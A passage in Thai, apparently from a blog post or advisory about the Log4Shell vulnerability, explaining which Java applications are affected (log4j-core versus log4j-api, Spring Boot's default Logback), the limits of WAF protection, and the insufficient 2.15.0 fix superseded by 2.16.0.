แต่ถ้าหากมีการเรียกส่วนประกอบอื่นใด ใน Application Stack
ที่มี Java ก็อาจกระทบได้เช่นกัน เช่นส่งข้อมูลต่อเข้าไปที่ระบบที่ใช้ Java - ถ้าแอปใช้เฉพาะ log4j-api แต่ไม่ได้ใช้ log4j-core จะไม่กระทบจากช่องโหว่ (อย่าง Logback) กล่าวคือ แอปที่พัฒนาด้วย Java Spring และ Spring Boot โดยค่าเริ่มต้น จะใช้ Logback ที่ไม่มีการใช้ log4j-core ถ้าไม่ได้มีการเปลี่ยนแปลงค่าเริ่มต้นนี้ ไปใช้ log4j อย่างเจาะจง หรือไม่ได้เรียก Library อื่น ๆ ที่มีการใช้ log4j-core อาจไม่กระทบจากช่องโหว่ log4shell
- การป้องกันด้วย WAF อาจไม่สามารถป้องกันในทุกแอปพลิเคชันได้
หรือเงื่อนไขที่ป้องกันอาจถูกข้ามผ่าน (Bypass) ได้ถ้าหากถูกเจาะจงในการโจมตี - สำหรับใน log4j รุ่น 2.15.0 ที่ออกมาเพื่อแก้ไขช่องโหว่ log4shell
พบว่าการแก้ไขดังกล่าวไม่มีประสิทธิภาพเพียงพอ และมีการออกรุ่นใหม่ 2.16.0 มาปิดการโจมตีเพิ่มเติม
แล้วพบกันใหม่เมื่อโลกมีช่องโหว่โลกแตกโผล่มาอีก 555